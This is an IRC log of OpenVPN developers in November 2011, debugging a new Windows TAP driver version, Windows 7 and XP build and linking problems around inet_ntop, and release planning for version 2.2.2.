<@d12fk> will the dev meeting take place there? 06:04 -!- dazo_afk is now known as dazo 06:34 <@andj> There was some mention of that earlier this year, so I though I'd put in a reminder :) 06:35 <@andj> And I got a call for participation in my inbox :) 06:35 <@andj> mattock: if the country hasn't collapsed by then :) 06:36 <@mattock> yep, we'll see :) 07:21 <@dazo> cron2: win-sys env patch is still un-acked 07:23 * dazo is strongly considering FOSDEM next year 07:24 <@dazo> so if it would be a natural meeting point for more OpenVPN people, that'd be cool 07:25 <@dazo> (I've never been to FOSEM or such conferences, so don't know exactly how they work out) 07:29 <@andj> if more people head out there, I'll do my best to get out there too, especially considering it's not too far away from here :) 07:51 <@cron2> dazo: ok, I'll look into it. conceptionally, ACK from me, but I want to read the code before "full ACK" 07:52 <@dazo> cron2: sure, thx! 07:52 * dazo thought cron2 would be soaked into customer complaints today .... ;-) 07:52 * andj cheers 07:53 <@andj> press release is out: openvpn has been approved for Dutch government use 07:53 <@andj> (small print: under certain circumstantces) 07:53 <@cron2> andj: great, even with the fine print :-) 07:53 <@andj> https://openvpn.fox-it.com/ 07:53 <@dazo> \o/ 07:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:54 <@cron2> andj: now the challenge: make it interoperable with standard-openvpn... 07:54 <@andj> it is, as long as you use AES-256 07:54 <@andj> with SHA256 07:54 <@andj> cron2: one of my tests is to actually run it against OpenSSL openvpn 07:54 <@dazo> that's a reasonable requirement for governmental stuff 07:55 * cron2 was thinking about "... with default crypto setting, as installed out there in places" 07:55 <@andj> main reasons for a separate version are: distribution channel control, and a few hardening patches removing some of OpenVPN's flexibility 07:55 <@andj> e.g. compile time removal of some protocols 07:56 <@andj> and most of the code that changed is already in mainline 2.3 :) 07:56 <@cron2> which is appreciated! 07:57 <@andj> cron2: true enough, but I'm hoping that can be negotiated in some future version 12:05 <@dazo> andj: if you would be willing to start poking at some SSL parameter negotiation feature in OpenVPN, that would be an interesting feature ... something along the lines of of f.ex Apache style .... 12:05 <@dazo> SSLProtocol -ALL +SSLv3 +TLSv1 12:05 <@dazo> SSLCipherSuite ALL:!aNULL:!ADH:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM 12:07 <@dazo> or ... SSLCipherSuite DHE-RSA-AES256-SHA:EDH-RSA-DES-CBC3-SHA:DHE-RSA-AES128-SHA: AES256-SHA:DES-CBC3-SHA:AES128-SHA:RC4-SHA 12:07 <@dazo> (examples for syntax, not necessarily content :)) 12:12 -!- dazo is now known as dazo_afk 13:42 <@andj> dazo: if I can find the time, I will, unfortunately it's something I'm a little short on :( --- Day changed Wed Nov 23 2011 01:11 -!- dazo_afk is now known as dazo 02:45 <@cron2> \o/ a user found a bug in the ipv6 payload stuff 03:00 <@dazo> hehehe :) 03:06 <@cron2> no code is bug-free, and the fact that hardly anything has been found yet has always made me suspicious :-) 03:27 <@dazo> true :) 04:05 <@cron2> hrm 04:06 <@cron2> I think we need to bump the version number of the tap-win32 adapter, and add a check to tun.c for "if it's 9.8, it's broken for IPv4" 04:21 <@cron2> meh 04:22 <@cron2> the whole tap driver version number thing is horribly convoluted 04:24 <@mattock> ah, what a thread... "Scalability" 04:24 <@mattock> just threw in my 5 cents 04:24 <@mattock> -> lunch 04:24 <@cron2> mattock: if you feel like it, you could test-build a windows snapshot with the two patches I just sent to the list... 04:24 <@cron2> it should build a tap driver version 9.9 and an openvpn.exe that refuses cooperation with the previous (9.8) tap driver 04:31 <@cron2> dazo: ack for you 04:58 <@dazo> cron2: thx! 05:03 <@mattock> cron2: ok, I'll do it now 05:05 <@cron2> cool 05:05 * cron2 goes to lunch in the meanwhile 05:31 <@mattock> building 05:47 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-2.3-cron2-install.exe 05:47 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-2.3-cron2-install.exe.README 05:47 <@mattock> have not tested it yet 05:57 <@mattock> a couple of issues with the TAP-driver metadata 05:58 <@mattock> in win/settings.in we got wrong release date, which shows up in "hardware manager" in Windows 05:58 <@mattock> also, I'm wondering if we should change this, too, in version.m4: 05:58 <@mattock> define(PRODUCT_TAP_ID,[tap0901]) 05:59 <@mattock> I think it (tap0901) only shows up in the filenames (e.g. tap0901.sys) 05:59 * dazo holds pushing stuff now ... 06:00 <@mattock> otherwise the driver's metadata seems to be ok (e.g. driver version 9.0.0.9) 06:00 <@dazo> I wouldn't change the filename yet ... not without checking with James 06:00 <@mattock> yeah, it will cause issues in the installer 06:02 <@dazo> and we need to make sure we don't leave old drivers astray with upgrading if the filename changes 06:06 <@mattock> connecting to the community VPN fails ("All TAP drivers in this system are in use" or something) 06:06 <@mattock> I'll reboot the VM to see if it helps 06:06 <@mattock> if not, it might be "driver not signed" issues, even though Win7 is in test mode 06:09 <@mattock> same thing after a reboot 06:09 <@mattock> seems like OpenVPN is unable to use the new TAP-adapter 06:10 * dazo blames cron2 :) 06:11 <@mattock> as win7 _is_ in test mode, I assume there's a real issue with the TAP driver 06:11 <@dazo> mattock: is it possible to just downgrade the driver? 06:12 <@mattock> yep, I guess so 06:12 <@mattock> basically just get a new (old) TAP driver and run tapinstall.exe manually 06:15 <@mattock> maybe the "log error message and exit for "win32, tun mode, tap driver version 9.8"" patch does something funky 06:16 <@dazo> well, that code should just affect the OpenVPN part ... so good point 06:17 <@dazo> well, rolling all back to previous release (2.2.1) will partly give an indication 06:20 <@dazo> but would be good to see if it's the backported patch (c5b9d40f0f2917761f430d9d59c59ca66153103f) which is the trouble 06:23 <@mattock> the installer I built to test your win-sys-env was built on 18th Nov, after c5b9d40f0f was merged to 06:23 <@mattock> "master" 06:24 <@mattock> and it was able to use the TAP-driver, and contained andj's (then unmerged) patches 06:24 <@mattock> what if I try plain "master" (without cron2's latest patches) 06:26 <@mattock> (I'll do it and include unsigned TAP-drivers, too) 06:26 <@mattock> so, if that works, the latest two patches are to blame 06:28 <@dazo> that's odd 06:29 <@dazo> I've merged in all the win-fix stuff from andj ... maybe a bisect is in order now, so we don't guess on the offending patches 06:29 <@cron2> the error message should not be caused by today's patches 06:32 <@dazo> http://www.fpaste.org/4mBS/ ... these are the overall changes 06:32 <@dazo> from the initial fix from cron2 06:32 <@dazo> (HEAD==master==03ab4ead8295e005f72dbffcffdaa74487d9668c) ... those two last ones are not pushed out yet 06:32 <@dazo> (but I acked them) 06:34 <@dazo> cron2: on a not so related topic ... it would be good if you could make the first sentence in your commit logs shorter, as a summary; then a blank line and some more .... otherwise git shortlog gives all your commit message in one single line 06:34 <@cron2> dazo: will try to remember (but I'm not optimistic, given that I forget "-s" almost every time...) 06:34 <@dazo> hehehe ... yeah I added Signed-off-by for you today ;-) 06:37 <@mattock> interesting... build from "master" with unsigned drivers (verifying this, just in case) seems to work ok 06:40 <@cron2> so it built, and works? 06:41 <@mattock> yep 06:42 <@mattock> I'll retry the installer with your two patches again, just in case 06:42 <@mattock> but I built "master" (w/o the patches) with an unsigned TAP-driver, and it worked 06:43 <@dazo> If it works, I'll push the commits 06:43 <@dazo> cron2: I presume these two patches are to be picked for release/2.2 too 06:46 <@mattock> same issue with the two patches 06:46 <@mattock> meaning, it won't work 06:47 <@dazo> mattock: can you back-out one of the patches and see if it works then? 06:47 <@mattock> yep 06:47 <@dazo> probably the msg() patch is "worst" 06:49 <@mattock> ok, reset --hard HEAD to "bump tap driver version from 9.8 to 9.9" 06:51 <@cron2> if the msg() patch is to blaim, it will result in a *different* error message, so that one is "obviously not the one" 06:51 <@cron2> I assume that something in the build system is acting up with the change to version.m4 06:51 <@dazo> could be 06:51 <@cron2> this is all sooooo insanely horribly convoluted 06:53 <@cron2> on "configure" based build systems, one needs to to autoreconf after changing version.m4(!) 06:53 <@cron2> dunno how the windows build will do that 06:54 <@cron2> (and I can't find my windows/mingw build vm right now *gah*) 06:55 <@mattock> ok, testing 06:56 <@cron2> mattock: which patches are in there right now? 06:57 <@mattock> cron2: check the README files here: http://build.openvpn.net/downloads/snapshots/ 06:57 <@mattock> I'm testing the "firstpatch" installer now 06:58 <@cron2> ah 07:00 <@mattock> still fails 07:00 <@mattock> interestingly, the TAP-driver built from "master" did not give any certificate errors in device manager 07:01 <@mattock> while both cron2 patched TAP-drivers did 07:01 <@mattock> and "master" version was using (or at least installing) unsigned TAP-drivers 07:05 <@cron2> mattock: in that case, I'd say you are not using the *unsigned* driver 07:05 <@cron2> most likely the installer just noticed "ah, there is a driver with exactly this version already installed" or so 07:06 <@mattock> I would say so, too, so I'll do some extra digging 07:06 <@mattock> the TAP-driver that "master" was using was 9.0.0.8 07:06 <@mattock> and the new one was 9.0.0.9 07:06 <@mattock> I'll check what OpenVPN 2.2.1 says (the latest signed TAP-driver) 07:07 <@cron2> 9.0.0.8 07:10 <@mattock> yep 07:14 <@cron2> ok, I found a Win7 VM and a WinXP VM 07:14 <@cron2> now let's see which one is the one I used for mingw building... 07:23 <@mattock> win7 leaves crap (=old tap0901.sys files) lying around in various places 07:24 <@mattock> I'll try to get rid of it (without breaking the OS) 07:24 <@cron2> ok, 2.2.0 shipped with "TAP-Win32 Driver Version 9.8" 07:25 <@cron2> that's what my Win7 test VM says :-) 07:25 <@cron2> now to the WinXP build VM... 07:32 <@mattock> the usual trick (e.g. http://www.petri.co.il/removing-old-drivers-from-vista-and-windows7.htm) to 07:32 <@mattock> check for and remove unused device drivers does not show any installer TAP-drivers 07:33 <@mattock> I still dare not delete the files themselves :) 07:33 <@cron2> do you have a "fresh" VM around? Just windows installed, nothing else? 07:35 <@mattock> nope 07:38 <@mattock> atm the tap0901.sys files are stored in the "central driver repository": http://www.msigeek.com/322/driver-store-in-windows-7-and-vista 07:39 <@mattock> so they are not in use, unless an installation program installs them 07:39 <@mattock> apparently windows check the hash of the to-be-installed TAP-driver and uses a cached copy if it is already in the driverstore 07:40 <@mattock> nevertheless, I'll get rid of the old tap-drivers in the driverstore to be 100% sure 07:44 <@mattock> for future references this is how you should do it: http://technet.microsoft.com/en-us/library/cc730875.aspx#bkmk_1 07:44 <@mattock> did not work 100%, still shows some driver packages which refuse to uninstall 07:44 <@mattock> will get back to this tomorrow 07:46 <@dazo> mattock: cron2: so what's the conclusion ... should I push out cron2's patches? Or should I wait? 07:46 <@mattock> I'd wait for a while 07:47 <@mattock> maybe somebody could send a link to the cron2-installers to ml? 07:47 <@mattock> if it works for somebody else with a clean system, the patches might be safe 07:48 * dazo renames his local master branch then 07:48 <@dazo> cron2: ^^ could you post that installer? together with details what to look out for ... 07:50 <@cron2> mattock: can you send the link? Since you've built it :) 07:53 <@cron2> hrm 07:53 <@cron2> I have no system right now that can build tap drivers 07:54 <@cron2> I'll clone one of my XP VMs and use that to install mattock's installer 08:09 <@cron2> *sigh* 08:09 <@cron2> installer fails on XP right away 08:10 <@cron2> well, installer works, but resulting openvpn fails with "inet_ntop not found" 08:10 <@cron2> wasn't this fixed?? 08:14 <@cron2> mattock: can you put this on the agenda, please? 08:23 <@cron2> mattock, dazo: ok, taking the tap driver mattock built and an older openvpn.exe, on an XP SP3 system, works for me 08:24 <@cron2> it recognizes the driver as TAP-Win32 Driver Version 9.9 08:24 <@dazo> hmmm ... smells like something fishy with the build environment 08:25 <@cron2> "ping -l 1 -4 $host" also works with that driver (and I think that one didn't work with 9.8) 08:25 <@cron2> the inet_ntop one has come up on the list, some (at least) 6 weeks ago 08:26 <@dazo> cron2: that inet stuff is something which comes up when building in VS, I believe .... mattock said he would poke into that again 08:26 <@dazo> we fixed it for mingw compiles 08:26 <@dazo> (iirc) 08:27 <@cron2> let me try building a mingw-on-windows binary 08:34 <@cron2> hrm 08:38 <@cron2> why does our configure test for sockaddr_in6, and (worse) why does it fail? 08:39 <@cron2> windows building is a hairy mess 08:42 <@dazo> strike "building" .... windows is a hairy mess .... 08:42 <@cron2> it's worse 08:42 <@dazo> :) 08:43 <@cron2> we *added* <ntddndis.h> recently to syshead.h to fix windows building for some variant, and that's now breaking mingw building 08:43 <@cron2> if I #if 0 that away, I can build... 08:44 <@cron2> but anyway 08:48 <@dazo> ugh .... time to summon d12fk, mattock and probably you, cron2 to sort out all this win-build mess 08:48 <@dazo> so that mingw and VS build works .... otherwise I might start to enforce a move to CMake .... 08:49 <@dazo> and kick out autotools + python build 08:51 <@dazo> (CMake isn't necessarily a better solution ... it's just something which has all building blocks available for a vast majority of *nix platforms and Windows VS) 08:51 * cron2 is for "dazo moves windows build to cmake and then is responsible from that point on for making sure windows works" 08:52 <@dazo> hehehe 08:53 * dazo would surely be hated on the ML for such a move ;-) 08:54 <@d12fk> cmake won't solve any probs here 08:54 <@cron2> ok, -master plus patches, built with mingw on xp sp3, with the tap driver from samuli (v9.9) work correctly 08:54 <@d12fk> cron2: what are you using for building mingw openvpn? 08:55 <@cron2> d21fk: mingw+msys on xp sp3 08:55 <@d12fk> msys <- cause of problem detected 08:55 <@cron2> d21fk: *my* build works. 08:55 <@cron2> d21fk: mattock's build is what creates a broken openvpn.exe 08:56 <@d12fk> you are missing ntddndis.h right? 08:56 <@cron2> well, yes. but isn't that "part of mingw" not "part of msys"? 08:56 <@d12fk> it's not in the original mingw, but the mingw-w64 guys have it 08:56 <@d12fk> can you get mingw-w64 in msys? 08:57 <@d12fk> i'd be surprised 08:57 <@cron2> no idea. will mingw-w64 work on 32 bit windows? 08:57 <@d12fk> yeah, it just has a funny name, besides that a toolchain for i686 and x86_64 08:58 <@d12fk> or you cross compile from linux 08:58 <@d12fk> my persolnal fav, for a while now 08:58 <@cron2> I had issues with the cross-compile and openssl libraries, which is why I set up the mingw/msys box 08:58 <@cron2> but maybe I need to re-test this 08:58 <@d12fk> use ossl 1.0.0, they fixed all th crap there 08:59 <@cron2> d21fk: are you just building openvpn.exe, or "full featured" installers? 08:59 <@d12fk> you can't cross compile the driver as there's no ddk 08:59 <@d12fk> besides that it shoul dbe possible 08:59 <@cron2> taking pre-compiled and signed drivers :) 08:59 <@cron2> I can't sign drivers either... 09:00 <@cron2> dazo: I think you can push these two changes out, and cherry-pick to 2.2 branch (+push) 09:01 <@cron2> dazo: I've built a binary with that changes and mattock's v9.9 tap driver, and it works "as expected" 09:01 <@dazo> okay, I'll do the push then 09:03 * dazo hates autotools for doing a new configure run automatically when I do: make distclean 09:03 <@cron2> ok, and "new openvpn.exe with old driver" leads to the expected ERROR message (complaining about the driver version, not about "no driver found") 09:04 <@cron2> so on XP, everything is good 09:06 <@dazo> cron2: can I pull in commit 91698ccd1010355d424e9a2a494c09fa54a82be6 as well? 09:06 <@cron2> which one is that? 09:06 <@dazo> (otherwise, it's a merge conflict) 09:06 <@dazo> WIN32: if IPv6 requested in TUN mode, and TUN/TAP driver version is older 09:06 <@dazo> than 9.7, log warning and disable IPv6 (won't work anyway). 09:06 <@dazo> that's the only change in that commit 09:07 <@cron2> mmmh 09:07 <@dazo> uhm .... tt->ipv6 does not exist in release/2.2 09:07 <@cron2> that's what I was afraid of 09:08 <@cron2> and a warning about "we're going to turn off v6 now!" is not overly useful if there is no v6 anyway 09:08 <@dazo> okay, I'll sort out the conflict and kill that message then 09:08 <@dazo> yeah 09:08 <@cron2> let's not pull that one 09:08 <@cron2> thanks 09:18 <@cron2> d12fk: any idea about the inet_ntop problem? you fixed that one for mingw64 builds, didn't you? 09:22 <@d12fk> cron2: check out the "Snapshot openvpn-2.x-20110909-master-install.exe fails" thread 09:23 <@d12fk> mingw never had the problem 09:23 <@cron2> ok, so I just got confused 09:24 <@cron2> mmmh 09:25 <@d12fk> it seems it's the fact that msvc was used for the build 09:27 <@dazo> cron2: while your into all this ... did you also look at trac #147? 09:28 <@dazo> that's probably going to be a 2.2 only fix 09:35 <@cron2> d12fk: so if I'm reading this correctly, the problem is that win7 *has* the function, and XP does not, so when building on win7, there's either a compiler conflict (if we compile our own) or a missing library? 09:36 <@cron2> dazo: yes-and-no. I looked into it but have no code yet (and cherrypicking bits of 2.3 code won't do much good) 09:37 <@cron2> building things on win7 to-be-run on winXP sounds like a recipe for issues anyway 09:38 <@dazo> begins to sound so ... unless it's a compiler flag telling it to make "old" binaries 09:38 <@cron2> sort of, "compile for old versions of the libraries and headers" 09:39 <@dazo> true 09:39 <@d12fk> cron2: actually the function should only be defined if the winver is set to vista 09:40 <@cron2> d12fk: that's exactly the problem. Mattock compiles on Win7, the function is not defined, but then when running on XP, the library doesn't have it either 09:40 <@d12fk> however i haven't had a look at the headers from msvc 09:40 <@d12fk> still you can compile binaries that work for XP 09:40 <@d12fk> it's just a matter of setting the rigth exclusion macro i guess 09:40 <@cron2> yes, but not if you rely on library functions not available on XP... 09:41 <@d12fk> for that there ist ovpns private inet_ntop 09:41 <@cron2> yes - and that is not used when compiling on win7, as the build environment says "we don't need this, as we have it in the system library" 09:41 <@d12fk> that's what mingw build are using, because inet_ntop is not in the headers there 09:42 <@d12fk> yeah 09:42 <@d12fk> maybe the linker is the problem here 09:43 <@cron2> well, if the linker works like anything under linux, it will just add a reference "this can be resolved at run-time" 09:43 <@d12fk> or it's just the order of the files in the msvc linker cmd line 09:44 <@d12fk> you can check that out with depends.exe 09:44 <@d12fk> google guids you 09:44 <@cron2> I'm not sure this is going to be a big help, unless there is a linker flag to tell it "please do statically link inet_ntop() into the resulting binary" 09:45 <@d12fk> just compare the broken vs. the mingw binary concerning the symbol 09:45 <@d12fk> that will shed some light 09:45 <@d12fk> or pass me the broken exe 09:46 <@cron2> the broken exe is in http://build.openvpn.net/downloads/snapshots/openvpn-2.3-cron2-install.exe 09:46 <@d12fk> can i haz just the exe plz 09:46 <@cron2> just a moment, need to reboot the vmware server and start the VM 09:47 <@d12fk> sure 09:50 <@cron2> http://public.greenie.net/gert/misc/openvpn-20111123-borked.exe 09:52 <@cron2> given that inet_ntop() is only used in a single place, I'm not sure whether a quicker fix might be just to rename that to openvpn_inet_ntop() and always use that one on W32, no matter which windows version 09:53 <@d12fk> that would be like surrendering to ballmer 09:54 <@cron2> accepting realities :) - if you compile something on a current linux system and expect it to run on a 10-year-old distribution, there will be MUCH larger problems 09:55 <@cron2> so windows compatibility is actually quite good here 09:55 <@d12fk> hey we just fixed something for 2.6.32 in openvpn =) 09:56 <@cron2> wasn't that 2.6.18? 09:57 <@d12fk> even better =) 09:58 <@cron2> but that was source compatibility - a binary compiled on a 2.6 kernel is going to fail in interesting ways on a 2.4-based distribution :-) 09:58 <@cron2> anyway 09:59 <@cron2> what does your crystal ball say to the borked.exe? 09:59 <@d12fk> inet_pton/ntop are unresolved on xp 09:59 <@d12fk> ... nothing new 09:59 <@d12fk> however the binary is linked using the symbols 10:00 <@d12fk> noe checking my personal master build 10:02 <@d12fk> no such symbols used 10:02 <@d12fk> so, inet_ntop/pton are resolved at link time 10:03 <@d12fk> so the msvc linker picks the sysmbol from the dll over the one from the module 10:03 <@cron2> unsurprising, as the ones in the module are not compiled in 10:03 <@d12fk> i still think it's worth to reorder the linker command line 10:04 <@cron2> if we leave the ones in socket.c active, compilation fails with conflicts in the declaration 10:04 <@cron2> we've been there :-) 10:05 <@d12fk> not if the prototype from the msvc headers can be ifdef'd out 10:06 * d12fk not wanting to download platform sdk 10:06 <@d12fk> anyone with the headers on disk herein? 10:06 <@cron2> I have my doubts that a convenient #ifdef exists for that 10:06 <@cron2> only mattock 10:06 <@d12fk> a collegue has them, hang on 10:07 <@cron2> another approach could be to always compile them in, and change the prototypes to match what's in the msvc headers 10:10 <@d12fk> got it: #if (NTDDI_VERSION >= NTDDI_VISTA) 10:11 <@d12fk> so if we set NTDDI_VERSION to NTDDI_WINXP we're fine 10:11 <@cron2> can you override that from within the program and/or using compiler switches? 10:11 <@d12fk> a case for syshead.h i gues 10:11 <@cron2> something like 10:11 <@cron2> #ifdef NTDDI_VERSION 10:12 <@cron2> # undef NTDDI_VERSION 10:12 <@d12fk> somehow winver and the ntddi macros are related 10:12 <@cron2> # define NTDDI_VERSION NTDDI_WINXP 10:12 <@cron2> #endif 10:12 <@cron2> ? 10:12 <@d12fk> something like that 10:12 <@d12fk> i think winver is derived from ntddi or something 10:12 <@d12fk> if you look at the ntddi header you'll find the answer 10:13 <@d12fk> you which header i mean? 10:13 * cron2 has no access to the msvc headers :( 10:13 <@d12fk> mingw64 has it 10:14 <@cron2> are these the original headers? 10:14 <@d12fk> no but a authentic replica =) 10:15 * d12fk pushing you towards cygwin 10:15 <@d12fk> or do you apt-get? 10:15 * cron2 is not the problem here, mattock and msvc build is... 10:16 <@d12fk> alright i'll pastebin the relevant section 10:16 <@cron2> (but if the replica is close enough, especially those #ifdef versions, I can check on mingw64, yes) 10:18 <@cron2> need to figure out how to install mingw64 cross-build on gentoo 10:18 <@d12fk> it's sdkddkver.h btw 10:19 <@d12fk> hah it's copied from reactos 10:19 <@cron2> what is reactos??? 10:19 <@d12fk> an opensource windows clone 10:19 <@cron2> huh. amazing. didn't know that such a thing exists. 10:19 <@d12fk> sdkddkver.h contents: http://pastebin.com/mjrkXhqe 10:20 <@d12fk> it's only 3/4 ready 10:20 <@d12fk> depending on who you ask 10:21 <@cron2> so we should be fine with just #define NTDDI_VERSION NTDDI_WINXP at the beginning of syshead.h? 10:21 <@d12fk> probably, at least it's very much worth a try 10:21 <@d12fk> gtg, walking the dog 10:22 <@cron2> me too, need to shop a bit 10:22 <@cron2> won't work so easily, though, as there's a version check at the end about NTDDI_VERSION and WIN32_WINNT 10:22 <@cron2> *sigh* 10:23 <@cron2> I need access to such a build system and play with it 10:23 <@cron2> mattock: can you find a way to provide that? 10:23 <@cron2> from googling, it might be sufficient to add a few "restrict" modifiers to our prototypes 10:23 <@cron2> (whatever that does) 11:26 -!- dazo is now known as dazo_afk 11:42 <@cron2> ok, patch cooked up and sent to mattock 11:42 <@cron2> let's see 17:16 -!- novaflash is now known as novaflash_away 19:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Nov 24 2011 01:13 <@mattock> cron2: what kind of build system? python? 01:22 <@mattock> I'll check the driver situation on win7 and retry the installer 01:37 <@mattock> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-11-24 01:37 <@mattock> let me know if something is missing 01:40 <@cron2> mattock: msvc/python - this is the one that's currently not working right 01:40 <@mattock> yep, no problem 01:41 <@mattock> do you have a static IP? 01:41 <@cron2> I think the patch that I mailed you could fix the "build on win7, run on XP" issue 01:41 <@mattock> ah, nice! 01:41 <@mattock> I'll try it out 01:41 <@cron2> mattock: my hosts are in 193.149.48.160/27 (but let's test that first, might be sufficient) 01:42 <@mattock> ok, I'll add rules to the firewall 01:42 <@cron2> off to work... 01:46 <@mattock> cron2: I'll setup and account and a VS/Python buildsystem for you 01:46 <@mattock> just let me know when you'd need it, I'll do some other stuff first 02:29 <@mattock> cron2: your latest patch rubs VS2008 the wrong way 02:29 <@mattock> it gives syntax errors on lines 279-281 02:39 <@cron2> mattock: lines 279-281 of which file? :-) 02:39 <@cron2> ah, win32.h 02:40 <@mattock> yep 02:40 <@mattock> I'm setting up an account for you atm 02:40 <@cron2> mattock: ok. won't be able to check into it right now (at work), but will tonight 02:45 <@mattock> excellent! 02:47 <@mattock> I'll mail the meeting agenda now 02:48 <@mattock> done 02:58 <@cron2> I might be a bit late (10-15 minutes) to the meeting - feeding $child and putting her to sleep is not always finished at 1900 MET sharp 03:04 <@mattock> ok 03:04 <@mattock> sent you instructions for using the build computer 03:18 <@cron2> cool 03:19 <@cron2> ummm 03:20 <@mattock> the TAP-driver situation on my Win7 test VM is a mess 03:21 <@mattock> trying to remove _all_ traces of TAP-drivers ever installed on Windows 7 is a mess 03:21 <@mattock> it leaves stuff lying around in driverstore, and pnputil (which is supposed to do the job) is buggy 03:23 <@cron2> ok, performance sucks (have to ssh *home* via DSL line, and then do port forwarding to access the build system from there) 03:23 <@cron2> but it works 03:26 <@mattock> nice! 03:26 <@mattock> you can also access it through the community VPN, if you got it configured 03:27 <@mattock> from anywhere 03:27 <@mattock> actually, I think the reason why pnputil.exe refuses to delete some old drivers is system restore points 03:33 <@cron2> gah 03:34 <@cron2> windows headers are much more convoluted than I thought 03:35 <@cron2> there's declaration bits like "WINSOCK_API_LINKAGE int WSAAPI inet_pton(...)" and these bits are relevant, so we can't just use our own function instead 03:40 <@d12fk> what are you trying to do? 03:41 <@cron2> my plan was to have the same prototype in win32.h and socket.c that windows uses in ws2tcpip.h, so we would just compile-in our own inet_ntop/inet_pton functions 03:42 <@cron2> new plan: #define inet_ntop(...) openvpn_inet_ntop() on win32 03:42 <@cron2> I have a binary now :-) need to test that on XP 03:42 <@cron2> (and my XP VM is at home where I can't easily access it right now so that needs to wait until tonight) 03:44 <@cron2> d12fk: do you have an XP machine around, and could test http://public.greenie.net/gert/misc/openvpn-20111124-test.1exe 03:44 <@cron2> ? 03:44 <@d12fk> did defining the ntddi version not work? 03:44 <@cron2> I decided to not go there, as there is a cross-check with _NT_VER 03:45 <@d12fk> but that's the way to do it 03:50 <@cron2> d12fk: if that's the way to do it, please send in a patch. I don't know how to go about it, and what side effects changing these variables will have, especially as sdkddkver.h requires that NTDDI_VERSION is changed in sync with _WIN32_WINNT and _WIN32_IE 03:51 <@cron2> what I have now is just avoiding the conflict altogether - and leading to the same binary, in the end "compiled with our own version of inet_ntop and inet_pton", which we need to do in any case 03:51 <@cron2> but I'll send the patch to the list and have it up for discussion 03:53 <@cron2> I'm the first one to admit that I have no clue about windows building, and I'm not particulary keen on having to care about windows building in the first place 03:55 <@d12fk> do you have a python build env set up? 03:56 <@cron2> mattock gave me access to the build machine 03:57 <@cron2> (and I see you have an account there as well :) ) 03:57 <@d12fk> ?! where did that come from 03:58 <@cron2> dunno, but I saw "d12fk" on the windows welcome screen :) 03:59 <@d12fk> hm, probably mattock after we discussed the build fail 03:59 <@d12fk> ..like two month ago =) 03:59 <@mattock> d12fk: yep, I gave you an account 03:59 <@d12fk> checking mail for pwd 04:00 <@mattock> I think you tried it out briefly, but not sure 04:00 <@cron2> anyway - right now, I need to handle paid-for non-openvpn-related work and need to postpone anything from my side until this evening. Then I'll test my openvpn-test1.exe binary on XP, and if it works, send my patch to the list - then you can all flame me and show me the right way to the light. I'm not wanting to start a holy war here, just have this resolved, so we can release 2.2.2 04:29 <@andj> wow, that was a quick and hard reaction on the cmake suggestion :p 04:29 <@andj> (which is what I expected) 04:32 <@d12fk> alon likes cygwin! =) 04:56 -!- novaflash_away is now known as novaflash 05:50 <@mattock> I got to try out cygwin builds, too 11:58 <@mattock> almost meeting time... 11:59 <@andj> I'm going to miss most of the meeting I'm afraid :( 12:01 <@cron2> so 12:02 * cron2 is here! 12:02 <@mattock> will dazo attend today? 12:05 <@cron2> haven't seen anything 12:05 <@mattock> well, I'll check my own list of "things to do before 2.2.1" 12:05 <@mattock> ...while waiting 12:05 <@cron2> we're at "before 2.2.2" now :) 12:06 <@mattock> oops :) 12:07 <@cron2> let me briefly test the openvpn.exe I built this morning, so I can say for sure whether my patching worked 12:07 <@mattock> ok 12:07 <@mattock> this bug report is still unresolved: https://community.openvpn.net/openvpn/ticket/126 12:08 <@mattock> then there's the "IPV6_RECVPKTINFO vs. IPV6_PKTINFO" patch, which was sent to jjo for review 12:08 <@mattock> no clue what it's current status is 12:08 <@cron2> #126 is unresolved because we don't know whether the 9.9 tap driver works on Win7 12:09 <@cron2> it works for me on XP and fixes the small-packet issue 12:11 <@cron2> mattock: I think we need a signed tap driver for the reporter of #126 to test 12:11 <@mattock> ok, it seems IPV6_RECVPKTINFO patch has not gone anywhere... from jjo on 10th Aug: "Thanks a lot for looping me in, afaics at a glance I'd propose a bit 12:11 <@mattock> diff approach, to avoid "generalizing" the osx mishandling of these symbols into other platforms. Will take a look on the weekend && reply." 12:11 <@mattock> maybe I'll push jjo a little more 12:11 <@cron2> mattock: so if you could get James to sign the driver, this could be tested and closed for good 12:12 <@mattock> so this #126 is what your recent patches fix? 12:12 <@cron2> yes 12:12 <@mattock> ah, ok 12:12 <@mattock> I'll mail james 12:12 <@cron2> the patches to tapdrvr.c, and for completeness, version.m4 and tun.c 12:12 <@mattock> maybe he could provide signed 9.9 tap drivers 12:12 <@cron2> that would be great, so win7 people could then test 12:15 <@mattock> mail sent 12:17 <@cron2> *sigh*, windows is hating me again 12:18 <@mattock> updated #126 12:19 <@mattock> ...now 12:20 <@cron2> mmmh, the binary I built today is not working at all, but maybe I forgot some sort of finalize step 12:22 <@cron2> mattock: could you build an installer with "master" plus http://pastebin.com/Zr7T9jrv 12:22 <@cron2> so we can see whether that one works on XP now? 12:22 <@cron2> I think it should 12:22 <@mattock> ok 12:23 <@cron2> most likely I'm just not supposed to copy-away the openvpn.exe from the build directory before some manifest thingie is updated, or so 12:27 <@mattock> patching 12:31 <@mattock> argh, issues with the patch format 12:32 <@cron2> huh, what is it disliking? 12:32 <@mattock> not sure, it can't detect the patch format 12:33 <@mattock> I'll try the downloaded version with plain patch 12:34 <@mattock> http://pastebin.com/sGbJ4xdr 12:34 <@mattock> it apparently does not like the git line 12:34 <@cron2> just throw it out, then :-) 12:35 <@cron2> and the "index" line as well 12:36 <@mattock> did not help, got tons of rejects 12:36 <@cron2> I'll put up a proper git format patch. mom. 12:37 <@mattock> :P 12:37 <@mattock> I was about to ask 12:37 <@cron2> no idea what happened, must have been windows mangling things 12:37 <@mattock> might be, it was in DOS format 12:41 <@cron2> mattock: you have mail 12:41 <@mattock> not yet, but probably soon :) 12:43 <@mattock> arrived 12:43 <@mattock> applied cleanly 12:45 <@mattock> damn, those inet_ntop errors (yet) again 12:45 <@cron2> wut? 12:45 <@cron2> oh 12:45 <@mattock> I'll double check and then paste an error log 12:45 